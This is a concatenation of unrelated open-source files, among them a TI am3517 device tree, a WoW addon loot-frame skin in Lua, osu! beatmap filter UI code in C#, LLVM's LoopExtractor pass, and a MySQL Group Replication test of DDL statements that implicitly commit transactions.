0x27E8: [1155,655,487,87,400],
0x27E9: [1155,655,487,87,400],
0x27EA: [1155,655,753,87,666],
0x27EB: [1155,655,753,87,666],
0x27EE: [955,455,381,131,294],
0x27EF: [955,455,381,87,250]
};
MathJax.Callback.Queue(
["initFont",MathJax.OutputJax["HTML-CSS"],"GyrePagellaMathJax_Size3"],
["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Size3/Regular/Main.js"]
);
| {
"pile_set_name": "Github"
} |
/*
* Device Tree Source for am3517 SoC
*
* Copyright (C) 2013 Texas Instruments Incorporated - http://www.ti.com/
*
* This file is licensed under the terms of the GNU General Public License
* version 2. This program is licensed "as is" without any warranty of any
* kind, whether express or implied.
*/
#include "omap3.dtsi"
/ {
aliases {
serial3 = &uart4;
can = &hecc;
};
ocp@68000000 {
am35x_otg_hs: am35x_otg_hs@5c040000 {
compatible = "ti,omap3-musb";
ti,hwmods = "am35x_otg_hs";
status = "disabled";
reg = <0x5c040000 0x1000>;
interrupts = <71>;
interrupt-names = "mc";
};
davinci_emac: ethernet@5c000000 {
compatible = "ti,am3517-emac";
ti,hwmods = "davinci_emac";
status = "disabled";
reg = <0x5c000000 0x30000>;
interrupts = <67 68 69 70>;
syscon = <&scm_conf>;
ti,davinci-ctrl-reg-offset = <0x10000>;
ti,davinci-ctrl-mod-reg-offset = <0>;
ti,davinci-ctrl-ram-offset = <0x20000>;
ti,davinci-ctrl-ram-size = <0x2000>;
ti,davinci-rmii-en = /bits/ 8 <1>;
local-mac-address = [ 00 00 00 00 00 00 ];
};
davinci_mdio: ethernet@5c030000 {
compatible = "ti,davinci_mdio";
ti,hwmods = "davinci_mdio";
status = "disabled";
reg = <0x5c030000 0x1000>;
bus_freq = <1000000>;
#address-cells = <1>;
#size-cells = <0>;
};
uart4: serial@4809e000 {
compatible = "ti,omap3-uart";
ti,hwmods = "uart4";
status = "disabled";
reg = <0x4809e000 0x400>;
interrupts = <84>;
dmas = <&sdma 55 &sdma 54>;
dma-names = "tx", "rx";
clock-frequency = <48000000>;
};
omap3_pmx_core2: pinmux@480025d8 {
compatible = "ti,omap3-padconf", "pinctrl-single";
reg = <0x480025d8 0x24>;
#address-cells = <1>;
#size-cells = <0>;
#pinctrl-cells = <1>;
#interrupt-cells = <1>;
interrupt-controller;
pinctrl-single,register-width = <16>;
pinctrl-single,function-mask = <0xff1f>;
};
hecc: can@5c050000 {
compatible = "ti,am3517-hecc";
status = "disabled";
reg = <0x5c050000 0x80>,
<0x5c053000 0x180>,
<0x5c052000 0x200>;
reg-names = "hecc", "hecc-ram", "mbx";
interrupts = <24>;
clocks = <&hecc_ck>;
};
};
};
&iva {
status = "disabled";
};
&mailbox {
status = "disabled";
};
&mmu_isp {
status = "disabled";
};
/include/ "am35xx-clocks.dtsi"
/include/ "omap36xx-am35xx-omap3430es2plus-clocks.dtsi"
| {
"pile_set_name": "Github"
} |
'use strict';
var callable = require('../../object/valid-callable')
, aFrom = require('../../array/from')
, apply = Function.prototype.apply, call = Function.prototype.call
, callFn = function (arg, fn) { return call.call(fn, this, arg); };
module.exports = function (fn/*, …fnn*/) {
var fns, first;
if (!fn) callable(fn);
fns = [this].concat(aFrom(arguments));
fns.forEach(callable);
fns = fns.reverse();
first = fns[0];
fns = fns.slice(1);
return function (arg) {
return fns.reduce(callFn, apply.call(first, this, arguments));
};
};
| {
"pile_set_name": "Github"
} |
<h3><a href="http://reference.wolfram.com/search/?q=EmbeddedSymbols">EmbeddedSymbols</a></h3><p><b>Attributes:</b>HoldFirst,
Protected</p><p><b>Symbol has no options.</b></p> | {
"pile_set_name": "Github"
} |
+++
title = "{{ replace .TranslationBaseName "-" " " | title }}"
date = {{ .Date }}
tags = []
featured_image = ""
description = ""
+++
| {
"pile_set_name": "Github"
} |
local _, ns = ...
local B, C, L, DB = unpack(ns)
tinsert(C.defaultThemes, function()
if not NDuiDB["Skins"]["BlizzardSkins"] then return end
if not NDuiDB["Skins"]["Loot"] then return end
LootFramePortraitOverlay:Hide()
hooksecurefunc("LootFrame_UpdateButton", function(index)
local ic = _G["LootButton"..index.."IconTexture"]
if not ic then return end
if not ic.bg then
local bu = _G["LootButton"..index]
_G["LootButton"..index.."IconQuestTexture"]:SetAlpha(0)
_G["LootButton"..index.."NameFrame"]:Hide()
bu:SetNormalTexture("")
bu:SetPushedTexture("")
bu:GetHighlightTexture():SetColorTexture(1, 1, 1, .25)
bu.IconBorder:SetAlpha(0)
local bd = B.CreateBDFrame(bu, .25)
bd:SetPoint("TOPLEFT")
bd:SetPoint("BOTTOMRIGHT", 114, 0)
ic.bg = B.ReskinIcon(ic)
end
if select(7, GetLootSlotInfo(index)) then
ic.bg:SetBackdropBorderColor(1, 1, 0)
else
ic.bg:SetBackdropBorderColor(0, 0, 0)
end
end)
LootFrameDownButton:ClearAllPoints()
LootFrameDownButton:SetPoint("BOTTOMRIGHT", -8, 6)
LootFramePrev:ClearAllPoints()
LootFramePrev:SetPoint("LEFT", LootFrameUpButton, "RIGHT", 4, 0)
LootFrameNext:ClearAllPoints()
LootFrameNext:SetPoint("RIGHT", LootFrameDownButton, "LEFT", -4, 0)
B.ReskinPortraitFrame(LootFrame)
B.ReskinArrow(LootFrameUpButton, "up")
B.ReskinArrow(LootFrameDownButton, "down")
-- Bonus roll
do
local frame = BonusRollFrame
frame.Background:SetAlpha(0)
frame.IconBorder:Hide()
frame.BlackBackgroundHoist.Background:Hide()
frame.SpecRing:SetAlpha(0)
frame.SpecIcon:SetPoint("TOPLEFT", 5, -5)
local bg = B.ReskinIcon(frame.SpecIcon)
hooksecurefunc("BonusRollFrame_StartBonusRoll", function()
bg:SetShown(frame.SpecIcon:IsShown())
end)
B.ReskinIcon(frame.PromptFrame.Icon)
frame.PromptFrame.Timer.Bar:SetTexture(DB.normTex)
B.SetBD(frame)
B.CreateBDFrame(frame.PromptFrame.Timer, .25)
local from, to = "|T.+|t", "|T%%s:14:14:0:0:64:64:5:59:5:59|t"
BONUS_ROLL_COST = BONUS_ROLL_COST:gsub(from, to)
BONUS_ROLL_CURRENT_COUNT = BONUS_ROLL_CURRENT_COUNT:gsub(from, to)
end
-- Loot Roll Frame
hooksecurefunc("GroupLootFrame_OpenNewFrame", function()
for i = 1, NUM_GROUP_LOOT_FRAMES do
local frame = _G["GroupLootFrame"..i]
if not frame.styled then
frame.Border:SetAlpha(0)
frame.Background:SetAlpha(0)
frame.bg = B.CreateBDFrame(frame, nil, true)
frame.Timer.Bar:SetTexture(DB.bdTex)
frame.Timer.Bar:SetVertexColor(1, .8, 0)
frame.Timer.Background:SetAlpha(0)
B.CreateBDFrame(frame.Timer, .25)
frame.IconFrame.Border:SetAlpha(0)
B.ReskinIcon(frame.IconFrame.Icon)
local bg = B.CreateBDFrame(frame, .25)
bg:SetPoint("TOPLEFT", frame.IconFrame.Icon, "TOPRIGHT", 0, 1)
bg:SetPoint("BOTTOMRIGHT", frame.IconFrame.Icon, "BOTTOMRIGHT", 150, -1)
frame.styled = true
end
if frame:IsShown() then
local _, _, _, quality = GetLootRollItemInfo(frame.rollID)
local color = DB.QualityColors[quality]
frame.bg:SetBackdropBorderColor(color.r, color.g, color.b)
end
end
end)
end) | {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
$LOAD_PATH.unshift(File.expand_path('../../lib', __FILE__))
require 'minitest/autorun'
require 'vcr'
require 'webmock'
require 'fixer'
VCR.configure do |c|
c.cassette_library_dir = 'spec/vcr_cassettes'
c.hook_into :webmock
end
| {
"pile_set_name": "Github"
} |
#------------------------------------------------------------------------------
VERSION = BWS.01
#------------------------------------------------------------------------------
!ifndef ROOT
ROOT = $(MAKEDIR)\..
!endif
#------------------------------------------------------------------------------
MAKE = $(ROOT)\bin\make.exe -$(MAKEFLAGS) -f$**
DCC = $(ROOT)\bin\dcc32.exe $**
BRCC = $(ROOT)\bin\brcc32.exe $**
#------------------------------------------------------------------------------
PROJECTS = setup libexpat_mtd.dll libexpats_mtd.lib libexpatw_mtd.dll \
libexpatws_mtd.lib elements.exe outline.exe xmlwf.exe
#------------------------------------------------------------------------------
default: $(PROJECTS)
#------------------------------------------------------------------------------
libexpat_mtd.dll: expat.bpr
$(ROOT)\bin\bpr2mak $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
libexpats_mtd.lib: expat_static.bpr
$(ROOT)\bin\bpr2mak -t$(ROOT)\bin\deflib.bmk $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
libexpatw_mtd.dll: expatw.bpr
$(ROOT)\bin\bpr2mak $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
libexpatws_mtd.lib: expatw_static.bpr
$(ROOT)\bin\bpr2mak -t$(ROOT)\bin\deflib.bmk $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
elements.exe: elements.bpr
$(ROOT)\bin\bpr2mak $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
outline.exe: outline.bpr
$(ROOT)\bin\bpr2mak $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
xmlwf.exe: xmlwf.bpr
$(ROOT)\bin\bpr2mak $**
$(ROOT)\bin\make -$(MAKEFLAGS) -f$*.mak
setup: setup.bat
call $**
| {
"pile_set_name": "Github"
} |
/*
* Copyright Red Hat Inc. and/or its affiliates and other contributors
* as indicated by the authors tag. All rights reserved.
*
* This copyrighted material is made available to anyone wishing to use,
* modify, copy, or redistribute it subject to the terms and conditions
* of the GNU General Public License version 2.
*
* This particular file is subject to the "Classpath" exception as provided in the
* LICENSE file that accompanied this code.
*
* This program is distributed in the hope that it will be useful, but WITHOUT A
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License,
* along with this distribution; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
@noanno
interface Bug911 {
value text => "bar";
shared default actual String string => text;
}
| {
"pile_set_name": "Github"
} |
\newcommand{\postertitle}[2]{
\newlength{\cuniw} %
\settowidth{\cuniw}{%
\includegraphics{CUni4.eps}}%
{\setlength{\arraycolsep}{0pt}
\renewcommand{\arraystretch}{1.0}
\setlength{\extrarowheight}{0pt}
#1
{\sf\pmc #2} %
\hfill %\raisebox{-0.65mm}{\epsfig{file=/home/pes20/Posters/col.exstuf/CUni4.eps}}
%
\makebox[\cuniw][l]{
\large
\raisebox{-0.65mm}[\height][0pt]{$
\begin{array}{l}%
\raisebox{-\depth}[\totalheight][0pt]{
\includegraphics{CUni4.eps} }\\
\raisebox{-2.0mm}[0.0cm][0.0cm]{
\makebox[\cuniw][l]{$
\begin{array}{l}
\resizebox{\cuniw}{!}{\large Computer Laboratory}\\
\resizebox{\cuniw}{!}{\large Theory and Semantics Group}
\end{array}$}}
\end{array}$}}
}}
\newcommand{\postersubtitle}[1]{
\vspace{1.0mm} {\large\sf\pmc #1}}
\newcommand{\posterpeople}[1]{
{\large\sf\pmc#1}\vspace{2.0mm}}
\newcommand{\posterfooter}[1]{\hfill{\scriptsize{\textsf{#1}}}}
\newcommand{\posterTSGfooter}{\posterfooter{http://www.cl.cam.ac.uk/Research/TSG}}
| {
"pile_set_name": "Github"
} |
{
"compilerOptions": {
"module": "commonjs",
"lib": [
"es6",
"dom"
],
"noImplicitAny": true,
"noImplicitThis": true,
"strictNullChecks": true,
"strictFunctionTypes": true,
"baseUrl": "../",
"typeRoots": [
"../"
],
"types": [],
"noEmit": true,
"forceConsistentCasingInFileNames": true
},
"files": [
"index.d.ts",
"extract-zip-tests.ts"
]
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) ppy Pty Ltd <[email protected]>. Licensed under the MIT Licence.
// See the LICENCE file in the repository root for full licence text.
using System;
using JetBrains.Annotations;
using osu.Framework.Allocation;
using osu.Framework.Bindables;
using osu.Framework.Extensions;
using osu.Framework.Graphics;
using osu.Framework.Graphics.Containers;
using osu.Framework.Graphics.UserInterface;
using osu.Framework.Input.Events;
using osu.Game.Graphics;
using osu.Game.Graphics.Sprites;
using osu.Game.Graphics.UserInterface;
using osuTK;
using osuTK.Graphics;
using Humanizer;
using osu.Game.Utils;
namespace osu.Game.Overlays.BeatmapListing
{
public class BeatmapSearchFilterRow<T> : CompositeDrawable, IHasCurrentValue<T>
{
private readonly BindableWithCurrent<T> current = new BindableWithCurrent<T>();
public Bindable<T> Current
{
get => current.Current;
set => current.Current = value;
}
public BeatmapSearchFilterRow(string headerName)
{
AutoSizeAxes = Axes.Y;
RelativeSizeAxes = Axes.X;
AddInternal(new GridContainer
{
AutoSizeAxes = Axes.Y,
RelativeSizeAxes = Axes.X,
ColumnDimensions = new[]
{
new Dimension(GridSizeMode.Absolute, size: 100),
new Dimension()
},
RowDimensions = new[]
{
new Dimension(GridSizeMode.AutoSize)
},
Content = new[]
{
new Drawable[]
{
new OsuSpriteText
{
Anchor = Anchor.BottomLeft,
Origin = Anchor.BottomLeft,
Font = OsuFont.GetFont(size: 13),
Text = headerName.Titleize()
},
CreateFilter().With(f =>
{
f.Current = current;
})
}
}
});
}
[NotNull]
protected virtual BeatmapSearchFilter CreateFilter() => new BeatmapSearchFilter();
protected class BeatmapSearchFilter : TabControl<T>
{
public BeatmapSearchFilter()
{
Anchor = Anchor.BottomLeft;
Origin = Anchor.BottomLeft;
RelativeSizeAxes = Axes.X;
Height = 15;
TabContainer.Spacing = new Vector2(10, 0);
if (typeof(T).IsEnum)
{
foreach (var val in OrderAttributeUtils.GetValuesInOrder<T>())
AddItem(val);
}
}
[BackgroundDependencyLoader]
private void load(OverlayColourProvider colourProvider)
{
if (Dropdown is FilterDropdown fd)
fd.AccentColour = colourProvider.Light2;
}
protected override Dropdown<T> CreateDropdown() => new FilterDropdown();
protected override TabItem<T> CreateTabItem(T value) => new FilterTabItem(value);
protected class FilterTabItem : TabItem<T>
{
protected virtual float TextSize => 13;
[Resolved]
private OverlayColourProvider colourProvider { get; set; }
private readonly OsuSpriteText text;
public FilterTabItem(T value)
: base(value)
{
AutoSizeAxes = Axes.Both;
Anchor = Anchor.BottomLeft;
Origin = Anchor.BottomLeft;
AddRangeInternal(new Drawable[]
{
text = new OsuSpriteText
{
Font = OsuFont.GetFont(size: TextSize, weight: FontWeight.Regular),
Text = (value as Enum)?.GetDescription() ?? value.ToString()
},
new HoverClickSounds()
});
Enabled.Value = true;
}
[BackgroundDependencyLoader]
private void load()
{
updateState();
}
protected override bool OnHover(HoverEvent e)
{
base.OnHover(e);
updateState();
return true;
}
protected override void OnHoverLost(HoverLostEvent e)
{
base.OnHoverLost(e);
updateState();
}
protected override void OnActivated() => updateState();
protected override void OnDeactivated() => updateState();
private void updateState() => text.FadeColour(Active.Value ? Color4.White : getStateColour(), 200, Easing.OutQuint);
private Color4 getStateColour() => IsHovered ? colourProvider.Light1 : colourProvider.Light3;
}
private class FilterDropdown : OsuTabDropdown<T>
{
protected override DropdownHeader CreateHeader() => new FilterHeader
{
Anchor = Anchor.TopRight,
Origin = Anchor.TopRight
};
private class FilterHeader : OsuTabDropdownHeader
{
public FilterHeader()
{
Background.Height = 1;
}
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
//===- LoopExtractor.cpp - Extract each loop into a new function ----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// A pass wrapper around the ExtractLoop() scalar transformation to extract each
// top-level loop into its own new function. If the loop is the ONLY loop in a
// given function, it is not touched. This is a pass most useful for debugging
// via bugpoint.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "loop-extract"
#include "llvm/Transforms/IPO.h"
#include "llvm/Instructions.h"
#include "llvm/Module.h"
#include "llvm/Pass.h"
#include "llvm/Analysis/Dominators.h"
#include "llvm/Analysis/LoopPass.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Transforms/Scalar.h"
#include "llvm/Transforms/Utils/FunctionUtils.h"
#include "llvm/ADT/Statistic.h"
#include <fstream>
#include <set>
using namespace llvm;
STATISTIC(NumExtracted, "Number of loops extracted");
namespace {
struct LoopExtractor : public LoopPass {
static char ID; // Pass identification, replacement for typeid
unsigned NumLoops;
explicit LoopExtractor(unsigned numLoops = ~0)
: LoopPass(ID), NumLoops(numLoops) {}
virtual bool runOnLoop(Loop *L, LPPassManager &LPM);
virtual void getAnalysisUsage(AnalysisUsage &AU) const {
AU.addRequiredID(BreakCriticalEdgesID);
AU.addRequiredID(LoopSimplifyID);
AU.addRequired<DominatorTree>();
}
};
}
char LoopExtractor::ID = 0;
INITIALIZE_PASS(LoopExtractor, "loop-extract",
"Extract loops into new functions", false, false);
namespace {
/// SingleLoopExtractor - For bugpoint.
struct SingleLoopExtractor : public LoopExtractor {
static char ID; // Pass identification, replacement for typeid
SingleLoopExtractor() : LoopExtractor(1) {}
};
} // End anonymous namespace
char SingleLoopExtractor::ID = 0;
INITIALIZE_PASS(SingleLoopExtractor, "loop-extract-single",
"Extract at most one loop into a new function", false, false);
// createLoopExtractorPass - This pass extracts all natural loops from the
// program into a function if it can.
//
Pass *llvm::createLoopExtractorPass() { return new LoopExtractor(); }
bool LoopExtractor::runOnLoop(Loop *L, LPPassManager &LPM) {
// Only visit top-level loops.
if (L->getParentLoop())
return false;
// If LoopSimplify form is not available, stay out of trouble.
if (!L->isLoopSimplifyForm())
return false;
DominatorTree &DT = getAnalysis<DominatorTree>();
bool Changed = false;
// If there is more than one top-level loop in this function, extract all of
// the loops. Otherwise there is exactly one top-level loop; in this case if
// this function is more than a minimal wrapper around the loop, extract
// the loop.
bool ShouldExtractLoop = false;
// Extract the loop if the entry block doesn't branch to the loop header.
TerminatorInst *EntryTI =
L->getHeader()->getParent()->getEntryBlock().getTerminator();
if (!isa<BranchInst>(EntryTI) ||
!cast<BranchInst>(EntryTI)->isUnconditional() ||
EntryTI->getSuccessor(0) != L->getHeader())
ShouldExtractLoop = true;
else {
// Check to see if any exits from the loop are more than just return
// blocks.
SmallVector<BasicBlock*, 8> ExitBlocks;
L->getExitBlocks(ExitBlocks);
for (unsigned i = 0, e = ExitBlocks.size(); i != e; ++i)
if (!isa<ReturnInst>(ExitBlocks[i]->getTerminator())) {
ShouldExtractLoop = true;
break;
}
}
if (ShouldExtractLoop) {
if (NumLoops == 0) return Changed;
--NumLoops;
if (ExtractLoop(DT, L) != 0) {
Changed = true;
// After extraction, the loop is replaced by a function call, so
// we shouldn't try to run any more loop passes on it.
LPM.deleteLoopFromQueue(L);
}
++NumExtracted;
}
return Changed;
}
// createSingleLoopExtractorPass - This pass extracts one natural loop from the
// program into a function if it can. This is used by bugpoint.
//
Pass *llvm::createSingleLoopExtractorPass() {
return new SingleLoopExtractor();
}
// BlockFile - A file which contains a list of blocks that should not be
// extracted.
static cl::opt<std::string>
BlockFile("extract-blocks-file", cl::value_desc("filename"),
cl::desc("A file containing list of basic blocks to not extract"),
cl::Hidden);
namespace {
/// BlockExtractorPass - This pass is used by bugpoint to extract all blocks
/// from the module into their own functions except for those specified by the
/// BlocksToNotExtract list.
class BlockExtractorPass : public ModulePass {
void LoadFile(const char *Filename);
std::vector<BasicBlock*> BlocksToNotExtract;
std::vector<std::pair<std::string, std::string> > BlocksToNotExtractByName;
public:
static char ID; // Pass identification, replacement for typeid
BlockExtractorPass() : ModulePass(ID) {
if (!BlockFile.empty())
LoadFile(BlockFile.c_str());
}
bool runOnModule(Module &M);
};
}
char BlockExtractorPass::ID = 0;
INITIALIZE_PASS(BlockExtractorPass, "extract-blocks",
"Extract Basic Blocks From Module (for bugpoint use)",
false, false);
// createBlockExtractorPass - This pass extracts all blocks (except those
// specified in the argument list) from the functions in the module.
//
ModulePass *llvm::createBlockExtractorPass()
{
return new BlockExtractorPass();
}
void BlockExtractorPass::LoadFile(const char *Filename) {
// Load the BlockFile...
std::ifstream In(Filename);
if (!In.good()) {
errs() << "WARNING: BlockExtractor couldn't load file '" << Filename
<< "'!\n";
return;
}
while (In) {
std::string FunctionName, BlockName;
In >> FunctionName;
In >> BlockName;
if (!BlockName.empty())
BlocksToNotExtractByName.push_back(
std::make_pair(FunctionName, BlockName));
}
}
bool BlockExtractorPass::runOnModule(Module &M) {
std::set<BasicBlock*> TranslatedBlocksToNotExtract;
for (unsigned i = 0, e = BlocksToNotExtract.size(); i != e; ++i) {
BasicBlock *BB = BlocksToNotExtract[i];
Function *F = BB->getParent();
// Map the corresponding function in this module.
Function *MF = M.getFunction(F->getName());
assert(MF->getFunctionType() == F->getFunctionType() && "Wrong function?");
// Figure out which index the basic block is in its function.
Function::iterator BBI = MF->begin();
std::advance(BBI, std::distance(F->begin(), Function::iterator(BB)));
TranslatedBlocksToNotExtract.insert(BBI);
}
while (!BlocksToNotExtractByName.empty()) {
// There's no way to find BBs by name without looking at every BB inside
// every Function. Fortunately, this is always empty except when used by
// bugpoint in which case correctness is more important than performance.
std::string &FuncName = BlocksToNotExtractByName.back().first;
std::string &BlockName = BlocksToNotExtractByName.back().second;
for (Module::iterator FI = M.begin(), FE = M.end(); FI != FE; ++FI) {
Function &F = *FI;
if (F.getName() != FuncName) continue;
for (Function::iterator BI = F.begin(), BE = F.end(); BI != BE; ++BI) {
BasicBlock &BB = *BI;
if (BB.getName() != BlockName) continue;
TranslatedBlocksToNotExtract.insert(BI);
}
}
BlocksToNotExtractByName.pop_back();
}
// Now that we know which blocks to not extract, figure out which ones we WANT
// to extract.
std::vector<BasicBlock*> BlocksToExtract;
for (Module::iterator F = M.begin(), E = M.end(); F != E; ++F)
for (Function::iterator BB = F->begin(), E = F->end(); BB != E; ++BB)
if (!TranslatedBlocksToNotExtract.count(BB))
BlocksToExtract.push_back(BB);
for (unsigned i = 0, e = BlocksToExtract.size(); i != e; ++i)
ExtractBasicBlock(BlocksToExtract[i]);
return !BlocksToExtract.empty();
}
| {
"pile_set_name": "Github"
} |
CHANGES.rst
LICENSE
MANIFEST.in
README.rst
TESTING.rst
setup.cfg
setup.py
doc/qr.1
qrcode/__init__.py
qrcode/base.py
qrcode/constants.py
qrcode/exceptions.py
qrcode/main.py
qrcode/tests.py
qrcode/util.py
qrcode.egg-info/PKG-INFO
qrcode.egg-info/SOURCES.txt
qrcode.egg-info/dependency_links.txt
qrcode.egg-info/requires.txt
qrcode.egg-info/top_level.txt
qrcode/image/__init__.py
qrcode/image/base.py
qrcode/image/pil.py
qrcode/image/pure.py
qrcode/image/svg.py
scripts/qr | {
"pile_set_name": "Github"
} |
package org.dynjs.runtime;
import org.dynjs.exception.ThrowException;
import org.junit.Test;
public class ContinueStatementTest extends AbstractDynJSTestSupport {
@Test(expected=ThrowException.class)
public void testIllegalContinue() {
eval( "continue;" );
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2017 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jbpm.services.ejb.api.query;
import javax.ejb.Remote;
import org.jbpm.services.api.query.QueryService;
@Remote
public interface QueryServiceEJBRemote extends QueryService {
}
| {
"pile_set_name": "Github"
} |
################################################################################
# In this test case, we verify if some DDL statements implicitly commit a
# transaction and are written directly to the binary log without going
# through either the Statement- or Transactional-Cache when used with Group
# REPLICATON.
#
# As any statement that goes through a cache is written to the binary log
# wrapped in a BEGIN...COMMIT, we proceed as follows:
#
# Test:
# 0. The test requires two servers: M1 and M2.
# 1. With both the members ONLINE. On M1, create tables and insert some values.
# 2. Check implicit commit:
# - Set auto_commit=0.
# - Create a transaction and insert some values into a transactional table.
# - Execute a DDL statement that is supposed to implicitly commit the previous
# transaction. Following DDLs are tested:-
# DROP DATABASE, CREATE DATABASE, DROP TABLE, RENAME TABLE, CREATE TABLE,
# DROP VIEW, ALTER VIEW, CREATE VIEW, DROP PROCEDURE, ALTER PROCEDURE,
# CREATE PROCEDURE, DROP FUNCTION, ALTER FUNCTION, CREATE FUNCTION,
# DROP EVENT, ALTER EVENT, CREATE EVENT, DROP USER, RENAME USER, REVOKE,
# SET PASSWORD, GRANT, CREATE USER, UNLOCK TABLES, LOCK TABLES,
# REPAIR TABLE, OPTIMIZE TABLE, CHECK TABLE, ANALYZE TABLE, LOAD INDEX
# - Check in the binary log for a COMMIT mark which is supposed to be written
# before the DDL statement.
# - Check in the binary log if the DML is not wrapped by a BEGIN..COMMIT.
# - Set auto_commit=1.
# 3. Checking the consistency on the two members.
# 4. Clean up.
################################################################################
--source include/set_privilege_checks_user_as_system_user.inc
--let $rpl_privilege_checks_user_grant_option = 1
--source include/have_group_replication_plugin.inc
--source include/group_replication.inc
--echo #########################################################################
--echo # CONFIGURATION
--echo #########################################################################
--connection server1
--eval CREATE TABLE tt_1 (ddl_case INT, PRIMARY KEY(ddl_case)) ENGINE = innodb
--eval CREATE TABLE tt_2 (ddl_case INT, PRIMARY KEY(ddl_case)) ENGINE = innodb
--eval CREATE TABLE nt_1 (ddl_case INT, PRIMARY KEY(ddl_case)) ENGINE = innodb
INSERT INTO tt_1(ddl_case) VALUES(0);
INSERT INTO tt_2(ddl_case) VALUES(0);
--echo #########################################################################
--echo # CHECK IMPLICT COMMIT
--echo #########################################################################
# Creating a set of statements which goes through the implicit commit stage
# and checking the status of the group at the very end.
SET AUTOCOMMIT= 0;
--let $ddl_cases= 31
while ($ddl_cases >= 1)
{
--echo -b-b-b-b-b-b-b-b-b-b-b- >> << -b-b-b-b-b-b-b-b-b-b-b-
--let $in_temporary= no
--let $ok= yes
#
# In RBR mode, the commit event is usually the fourth event in the binary log:
#
# 1: BEGIN
# 2: TABLE MAP EVENT
# 3: ROW EVENT
# 4: COMMIT
# 5: DDL EVENT which triggered the previous commmit.
#
--let $commit_event_row_number= 4
--let $first_binlog_position= query_get_value("SHOW MASTER STATUS", Position, 1)
--enable_query_log
--eval INSERT INTO tt_1(ddl_case) VALUES ($ddl_cases)
if ($ddl_cases == 31)
{
--let $cmd= LOAD INDEX INTO CACHE nt_1 IGNORE LEAVES
}
if ($ddl_cases == 30)
{
--let $cmd= LOAD INDEX INTO CACHE tt_1, tt_2 IGNORE LEAVES
}
if ($ddl_cases == 29)
{
--let $cmd= ANALYZE TABLE nt_1
}
if ($ddl_cases == 28)
{
--let $cmd= CHECK TABLE nt_1
}
if ($ddl_cases == 27)
{
--let $cmd= OPTIMIZE TABLE nt_1
}
if ($ddl_cases == 26)
{
--let $cmd= REPAIR TABLE nt_1
}
if ($ddl_cases == 25)
{
--let $cmd= LOCK TABLES tt_1 WRITE
}
if ($ddl_cases == 24)
{
--let $cmd= UNLOCK TABLES
}
if ($ddl_cases == 23)
{
--let $cmd= CREATE USER 'user'@'localhost'
}
if ($ddl_cases == 22)
{
--let $cmd= GRANT ALL ON *.* TO 'user'@'localhost'
}
if ($ddl_cases == 21)
{
--let $cmd= SET PASSWORD FOR 'user'@'localhost' = 'newpass'
}
if ($ddl_cases == 20)
{
--let $cmd= REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'user'@'localhost'
}
if ($ddl_cases == 19)
{
--let $cmd= RENAME USER 'user'@'localhost' TO 'user_new'@'localhost'
}
if ($ddl_cases == 18)
{
--let $cmd= DROP USER 'user_new'@'localhost'
}
if ($ddl_cases == 17)
{
--let $cmd= CREATE EVENT evt ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 HOUR DO SELECT * FROM tt_1
}
if ($ddl_cases == 16)
{
--let $cmd= ALTER EVENT evt COMMENT 'evt'
}
if ($ddl_cases == 15)
{
--let $cmd= DROP EVENT evt
}
if ($ddl_cases == 14)
{
--let $cmd= CREATE FUNCTION fc () RETURNS VARCHAR(64) CHARSET utf8mb4 RETURN "fc"
}
if ($ddl_cases == 13)
{
--let $cmd= ALTER FUNCTION fc COMMENT 'fc'
}
if ($ddl_cases == 12)
{
--let $cmd= DROP FUNCTION fc
}
if ($ddl_cases == 11)
{
--let $cmd= CREATE PROCEDURE pc () UPDATE tt_2 SET ddl_case = ddl_case WHERE ddl_case= NEW.ddl_case
}
if ($ddl_cases == 10)
{
--let $cmd= ALTER PROCEDURE pc COMMENT 'pc'
}
if ($ddl_cases == 8)
{
--let $cmd= DROP PROCEDURE pc
}
if ($ddl_cases == 9)
{
--let $cmd= CREATE VIEW v AS SELECT * FROM tt_1
}
if ($ddl_cases == 7)
{
--let $cmd= ALTER VIEW v AS SELECT * FROM tt_1
}
if ($ddl_cases == 6)
{
--let $cmd= DROP VIEW v
}
if ($ddl_cases == 5)
{
--let $cmd= CREATE TABLE tt_xx (a int)
}
if ($ddl_cases == 4)
{
--let $cmd= RENAME TABLE tt_xx TO new_tt_xx
}
if ($ddl_cases == 3)
{
--let $cmd= DROP TABLE IF EXISTS tt_xx, new_tt_xx
}
if ($ddl_cases == 2)
{
--let $cmd= CREATE DATABASE db
}
if ($ddl_cases == 1)
{
--let $cmd= DROP DATABASE IF EXISTS db
}
--eval $cmd
--disable_query_log
--let $event_commit= query_get_value("SHOW BINLOG EVENTS FROM $first_binlog_position", Info, $commit_event_row_number)
--echo -e-e-e-e-e-e-e-e-e-e-e- >> << -e-e-e-e-e-e-e-e-e-e-e-
--let $binlog_start= $first_binlog_position;
--echo -b-b-b-b-b-b-b-b-b-b-b- >> << -b-b-b-b-b-b-b-b-b-b-b-
--let $mask_user_password_events=1
--source include/show_binlog_events.inc
